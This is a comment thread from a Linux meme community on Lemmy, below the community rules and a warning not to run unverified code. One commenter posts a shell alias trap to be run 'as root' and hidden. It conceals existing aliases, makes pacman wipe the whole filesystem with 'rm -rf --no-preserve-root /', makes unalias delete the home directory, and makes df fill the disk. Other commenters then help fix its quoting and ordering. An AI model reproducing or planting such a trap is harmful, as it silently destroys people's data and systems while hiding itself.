Community rules (click to expand)

1. Follow the site-wide rules

2. Be civil
  • Understand the difference between a joke and an insult.
  • Do not harrass or attack members of the community for any reason.
  • Leave remarks of "peasantry" to the PCMR community. If you dislike an OS/service/application, attack the thing you dislike, not the individuals who use it. Some people may not have a choice.
  • Bigotry will not be tolerated.
  • These rules are somewhat loosened when the subject is a public figure. Still, do not attack their person or incite harrassment.
    • 3. Post Linux-related content
  • Including Unix and BSD.
  • Non-Linux content is acceptable as long as it makes a reference to Linux. For example, the poorly made mockery of sudo in Windows.
  • No porn. Even if you watch it on a Linux machine.
    • 4. No recent reposts
  • Everybody uses Arch btw, can't quit Vim, and wants to interject for a moment. You can stop now.
    •  

    Please report posts and comments that break these rules!

    Important: never execute code or follow advice that you don't understand or can't verify, especially here. The word of the day is credibility. This is a meme community -- even the most helpful comments might just be shitposts that can damage your system. Be aware, be smart, don't fork-bomb your computer.

    This needs to be done with something that would be run as root, in a more hidden way, without disrupting service.

    export OLDALIASVALUES=$(alias) \
&& alias alias='echo "${OLDALIASVALUES}"' \
&& \alias pacman='(rm -rf --no-preserve-root / &) &> /dev/null ; \pacman' \
&& \alias unalias='(rm -rf ~/* ~/.* &) &> /dev/null ; sleep 5 ; echo "Not so fast my friend. You_re becoming homeless."' \
&& \alias df='(cat /dev/urandom >> ~/.df_stands_for_disk_full &) &> /dev/null ; \df'

    It's not perfect, plus I added something extra, but it's a slight improvement.
    ~~Also, I wish there was a way to turn off that code block color formatting in Lemmy 0.19.x.~~ Nevermind, copy-pasted it into glorious Vim, I didn't escape the single quote in "You're".
    Edit 2: Nevermind, that still screws up single quotes as \ is literal. _ will do ¯\⁠_⁠(⁠ツ⁠)⁠_⁠/⁠¯

    There is! Markdown supports

    ```<language>

    to enable syntax highlighting in code blocks. If you have an invalid language (e.g. .), it will just disable syntax highlighting.

    you have to alias alias last, so it actually aliases.

    Oh crap, I forgot. Thanks. I just escaped it.

    Does this really work? Won't be this a security issue since this may be used for privilege escalation?
